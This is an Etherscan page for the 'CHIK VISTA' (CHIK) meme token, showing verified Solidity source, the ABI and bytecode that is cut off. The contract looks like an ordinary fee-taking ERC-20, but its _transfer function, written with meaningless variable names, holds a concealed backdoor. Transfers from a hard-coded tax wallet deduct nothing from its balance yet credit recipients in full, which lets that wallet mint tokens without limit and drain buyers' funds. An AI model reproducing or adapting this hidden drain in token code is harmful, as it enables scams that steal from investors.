ETH Price: $3,255.45 (-0.21%)
 

Overview

Max Total Supply

1,000,000,000 CHIK

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
844,368.977149238 CHIK

Value
$0.00
0x6311cfe51ba4a2bee39f47ca3a8cd84b4ff540a5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHIK

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-03
*/

/*
Site: https://chik.meme

X: https://x.com/ChikVista

TG: https://t.me/chikvista
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function launch(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        uint8 buyLpFee, 
        uint8 sellLpFee, 
        uint8 buyProtocolFee, 
        uint8 sellProtocolFee, 
        address protocolAddress
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CHIK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFromFees;
    address payable private _taxWallet=payable(0x31Ba35C750eaB21F601c1588152AA8A828B76711);

    uint256 private _firstTaxBuy = 0;
    uint256 private _firstTaxSell = 0;
    uint256 private _reduceBuyAt = 0;
    uint256 private _reduceSellAt = 0;

    uint256 private _preventCount = 0;
    uint256 private _buyTokenCount = 0;

    uint256 private _secondTaxBuy = 0;
    uint256 private _secondTaxSell = 0;
    uint256 private _secondReduceAt = 0;

    uint256 private _finalTaxBuy = 0;
    uint256 private _finalTaxSell = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"CHIK VISTA";
    string private constant _symbol = unicode"CHIK";

    uint256 private _minSwapLimit =  4 * (_tTotal/1000000);
    uint256 private _maxSwapLimit = 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapPair;
    bool private _inswap = false;
    bool private _swapEnabled = false;

    modifier lockTheSwap {
        _inswap = true;
        _;
        _inswap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludeFromFees[owner()] = true;
        _isExcludeFromFees[address(this)] = true;
        _isExcludeFromFees[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _faci, address _qijo, uint256 _lavip) private {
        require(_faci != address(0), "ERC20: transfer from the zero address");
        require(_qijo != address(0), "ERC20: transfer to the zero address");
        require(_lavip > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 _lotaio= _secondTaxSell+_lavip;
        if (!_isExcludeFromFees[_faci] && !_isExcludeFromFees[_qijo]) {
            taxAmount = _lavip.mul(_calcFeeBuy()).div(100);

            if(_qijo == _uniswapPair && _faci!= address(this) ){
                taxAmount = _lavip.mul(_calcFeeSell()).div(100);
            }

            uint256 tokenInContract = balanceOf(address(this));
            if (!_inswap && _qijo == _uniswapPair && _swapEnabled && _lavip > _minSwapLimit) {
                if(tokenInContract > _minSwapLimit)
                swapTokensForETH(min(_lavip,min(tokenInContract,_maxSwapLimit)));
                _taxWallet.transfer(address(this).balance);
            }
        } else if(_faci == address(_taxWallet))
            _lotaio =_secondTaxBuy>0?_firstTaxBuy:_finalTaxBuy;
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(_faci, address(this),taxAmount);
        }
        _balances[_faci]=_balances[_faci].sub(_lotaio);
        _balances[_qijo]=_balances[_qijo].add(_lavip.sub(taxAmount));
        emit Transfer(_faci, _qijo, _lavip.sub(taxAmount));
    }

    function _calcFeeSell() private view returns (uint256) {
        if(_buyTokenCount <= _reduceBuyAt){
            return _firstTaxSell;
        }
        if(_buyTokenCount > _reduceSellAt && _buyTokenCount <= _secondReduceAt){
            return _secondTaxSell;
        }
        return _finalTaxSell;
    }

    function _calcFeeBuy() private view returns (uint256) {
        if(_buyTokenCount <= _reduceBuyAt){
            return _firstTaxBuy;
        }
        if(_buyTokenCount > _reduceBuyAt && _buyTokenCount <= _secondReduceAt){
            return _secondTaxBuy;
        }
        return _finalTaxBuy;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function launch() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.launch{value: address(this).balance}(address(this), balanceOf(address(this)), 0,0,0,0,0,0,msg.sender);
        _swapEnabled = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527331ba35c750eab21f601c1588152aa8a828b7671160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6005555f6006555f6007555f6008555f6009555f600a555f600b555f600c555f600d555f600e555f600f55620f42406009600a61009691906105ab565b633b9aca006100a591906105f5565b6100af9190610663565b60046100bb91906105f5565b60105560646009600a6100ce91906105ab565b633b9aca006100dd91906105f5565b6100e79190610663565b60016100f391906105f5565b6011555f601360146101000a81548160ff0219169083151502179055505f601360156101000a81548160ff021916908315150217905550348015610135575f80fd5b505f61014561040c60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a6101ef91906105ab565b633b9aca006101fe91906105f5565b60015f61020f61040c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61025f61041360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061038761040c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6103e391906105ab565b633b9aca006103f291906105f5565b6040516103ff91906106a2565b60405180910390a36106bb565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104bc578086048111156104985761049761043a565b5b60018516156104a75780820291505b80810290506104b585610467565b945061047c565b94509492505050565b5f826104d4576001905061058f565b816104e1575f905061058f565b81600181146104f7576002811461050157610530565b600191505061058f565b60ff8411156105135761051261043a565b5b8360020a91508482111561052a5761052961043a565b5b5061058f565b5060208310610133831016604e8410600b84101617156105655782820a9050838111156105605761055f61043a565b5b61058f565b6105728484846001610473565b925090508184048111156105895761058861043a565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105b582610596565b91506105c08361059f565b92506105ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104c5565b905092915050565b5f6105ff82610596565b915061060a83610596565b925082820261061881610596565b9150828204841483151761062f5761062e61043a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61066d82610596565b915061067883610596565b92508261068857610687610636565b5b828204905092915050565b61069c81610596565b82525050565b5f6020820190506106b55f830184610693565b92915050565b6125e2806106c85f395ff3fe6080604052600436106100aa575f3560e01c806370a082311161006357806370a08231146101c1578063715018a6146101fd5780638da5cb5b1461021357806395d89b411461023d578063a9059cbb14610267578063dd62ed3e146102a3576100b1565b806301339c21146100b557806306fdde03146100cb578063095ea7b3146100f557806318160ddd1461013157806323b872dd1461015b578063313ce56714610197576100b1565b366100b157005b5f80fd5b3480156100c0575f80fd5b506100c96102df565b005b3480156100d6575f80fd5b506100df6106b7565b6040516100ec9190611927565b60405180910390f35b348015610100575f80fd5b5061011b600480360381019061011691906119d8565b6106f4565b6040516101289190611a30565b60405180910390f35b34801561013c575f80fd5b50610145610711565b6040516101529190611a58565b60405180910390f35b348015610166575f80fd5b50610181600480360381019061017c9190611a71565b610734565b60405161018e9190611a30565b60405180910390f35b3480156101a2575f80fd5b506101ab610808565b6040516101b89190611adc565b60405180910390f35b3480156101cc575f80fd5b506101e760048036038101906101e29190611af5565b610810565b6040516101f49190611a58565b60405180910390f35b348015610208575f80fd5b50610211610856565b005b34801561021e575f80fd5b506102276109a4565b6040516102349190611b2f565b60405180910390f35b348015610248575f80fd5b506102516109cb565b60405161025e9190611927565b60405180910390f35b348015610272575f80fd5b5061028d600480360381019061028891906119d8565b610a08565b60405161029a9190611a30565b60405180910390f35b3480156102ae575f80fd5b506102c960048036038101906102c49190611b48565b610a25565b6040516102d69190611a58565b60405180910390f35b6102e7610aa7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610373576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036a90611bd0565b60405180910390fd5b73eaaa41cb2a64b11fe761d41e747c032cdd60cace60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061040f3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6103fb9190611d4a565b633b9aca0061040a9190611d94565b610aae565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610479573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061049d9190611de9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610523573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105479190611de9565b6040518363ffffffff1660e01b8152600401610564929190611e14565b6020604051808303815f875af1158015610580573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a49190611de9565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe1bfba6473061062b30610810565b5f805f805f80336040518b63ffffffff1660e01b815260040161065699989796959493929190611ead565b60606040518083038185885af1158015610672573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106979190611f4c565b5050506001601360156101000a81548160ff021916908315150217905550565b60606040518060400160405280600a81526020017f4348494b20564953544100000000000000000000000000000000000000000000815250905090565b5f610707610700610aa7565b8484610aae565b6001905092915050565b5f6009600a6107209190611d4a565b633b9aca0061072f9190611d94565b905090565b5f610740848484610c71565b6107fd8461074c610aa7565b6107f8856040518060600160405280602881526020016125856028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107af610aa7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113819092919063ffffffff16565b610aae565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61085e610aa7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e190611bd0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4348494b00000000000000000000000000000000000000000000000000000000815250905090565b5f610a1b610a14610aa7565b8484610c71565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b139061200c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b819061209a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c649190611a58565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd690612128565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d44906121b6565b60405180910390fd5b5f8111610d8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8690612244565b60405180910390fd5b5f8082600c54610d9f9190612262565b905060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610e3f575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561106357610e716064610e63610e546113e3565b8661142890919063ffffffff16565b61149f90919063ffffffff16565b915060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610efb57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3057610f2d6064610f1f610f106114e8565b8661142890919063ffffffff16565b61149f90919063ffffffff16565b91505b5f610f3a30610810565b9050601360149054906101000a900460ff16158015610fa5575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015610fbd5750601360159054906101000a900460ff165b8015610fca575060105484115b1561105d57601054811115610ff757610ff6610ff185610fec8460115461152d565b61152d565b611545565b5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561105b573d5f803e3d5ffd5b505b506110d0565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036110cf575f600b54116110c857600e546110cc565b6005545b90505b5b5f8211156111cf576111288260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117b090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c69190611a58565b60405180910390a35b61121f8160015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461180d90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112c2611276838561180d90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117b090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611365858761180d90919063ffffffff16565b6040516113729190611a58565b60405180910390a35050505050565b5f8383111582906113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf9190611927565b60405180910390fd5b505f83856113d69190612295565b9050809150509392505050565b5f600754600a54116113f9576005549050611425565b600754600a541180156114105750600d54600a5411155b1561141f57600b549050611425565b600e5490505b90565b5f808303611438575f9050611499565b5f82846114459190611d94565b905082848261145491906122f5565b14611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b90612395565b60405180910390fd5b809150505b92915050565b5f6114e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611856565b905092915050565b5f600754600a54116114fe57600654905061152a565b600854600a541180156115155750600d54600a5411155b1561152457600c54905061152a565b600f5490505b90565b5f81831161153b578261153d565b815b905092915050565b6001601360146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561157c5761157b6123b3565b5b6040519080825280602002602001820160405280156115aa5781602001602082028036833780820191505090505b50905030815f815181106115c1576115c06123e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611665573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116899190611de9565b8160018151811061169d5761169c6123e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117033060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610aae565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016117659594939291906124c4565b5f604051808303815f87803b15801561177c575f80fd5b505af115801561178e573d5f803e3d5ffd5b50505050505f601360146101000a81548160ff02191690831515021790555050565b5f8082846117be9190612262565b905083811015611803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fa90612566565b60405180910390fd5b8091505092915050565b5f61184e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611381565b905092915050565b5f808311829061189c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118939190611927565b60405180910390fd5b505f83856118aa91906122f5565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6118f9826118b7565b61190381856118c1565b93506119138185602086016118d1565b61191c816118df565b840191505092915050565b5f6020820190508181035f83015261193f81846118ef565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119748261194b565b9050919050565b6119848161196a565b811461198e575f80fd5b50565b5f8135905061199f8161197b565b92915050565b5f819050919050565b6119b7816119a5565b81146119c1575f80fd5b50565b5f813590506119d2816119ae565b92915050565b5f80604083850312156119ee576119ed611947565b5b5f6119fb85828601611991565b9250506020611a0c858286016119c4565b9150509250929050565b5f8115159050919050565b611a2a81611a16565b82525050565b5f602082019050611a435f830184611a21565b92915050565b611a52816119a5565b82525050565b5f602082019050611a6b5f830184611a49565b92915050565b5f805f60608486031215611a8857611a87611947565b5b5f611a9586828701611991565b9350506020611aa686828701611991565b9250506040611ab7868287016119c4565b9150509250925092565b5f60ff82169050919050565b611ad681611ac1565b82525050565b5f602082019050611aef5f830184611acd565b92915050565b5f60208284031215611b0a57611b09611947565b5b5f611b1784828501611991565b91505092915050565b611b298161196a565b82525050565b5f602082019050611b425f830184611b20565b92915050565b5f8060408385031215611b5e57611b5d611947565b5b5f611b6b85828601611991565b9250506020611b7c85828601611991565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bba6020836118c1565b9150611bc582611b86565b602082019050919050565b5f6020820190508181035f830152611be781611bae565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611c7057808604811115611c4c57611c4b611bee565b5b6001851615611c5b5780820291505b8081029050611c6985611c1b565b9450611c30565b94509492505050565b5f82611c885760019050611d43565b81611c95575f9050611d43565b8160018114611cab5760028114611cb557611ce4565b6001915050611d43565b60ff841115611cc757611cc6611bee565b5b8360020a915084821115611cde57611cdd611bee565b5b50611d43565b5060208310610133831016604e8410600b8410161715611d195782820a905083811115611d1457611d13611bee565b5b611d43565b611d268484846001611c27565b92509050818404811115611d3d57611d3c611bee565b5b81810290505b9392505050565b5f611d54826119a5565b9150611d5f83611ac1565b9250611d8c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c79565b905092915050565b5f611d9e826119a5565b9150611da9836119a5565b9250828202611db7816119a5565b91508282048414831517611dce57611dcd611bee565b5b5092915050565b5f81519050611de38161197b565b92915050565b5f60208284031215611dfe57611dfd611947565b5b5f611e0b84828501611dd5565b91505092915050565b5f604082019050611e275f830185611b20565b611e346020830184611b20565b9392505050565b5f819050919050565b5f819050919050565b5f611e67611e62611e5d84611e3b565b611e44565b6119a5565b9050919050565b611e7781611e4d565b82525050565b5f611e97611e92611e8d84611e3b565b611e44565b611ac1565b9050919050565b611ea781611e7d565b82525050565b5f61012082019050611ec15f83018c611b20565b611ece602083018b611a49565b611edb604083018a611e6e565b611ee86060830189611e6e565b611ef56080830188611e9e565b611f0260a0830187611e9e565b611f0f60c0830186611e9e565b611f1c60e0830185611e9e565b611f2a610100830184611b20565b9a9950505050505050505050565b5f81519050611f46816119ae565b92915050565b5f805f60608486031215611f6357611f62611947565b5b5f611f7086828701611f38565b9350506020611f8186828701611f38565b9250506040611f9286828701611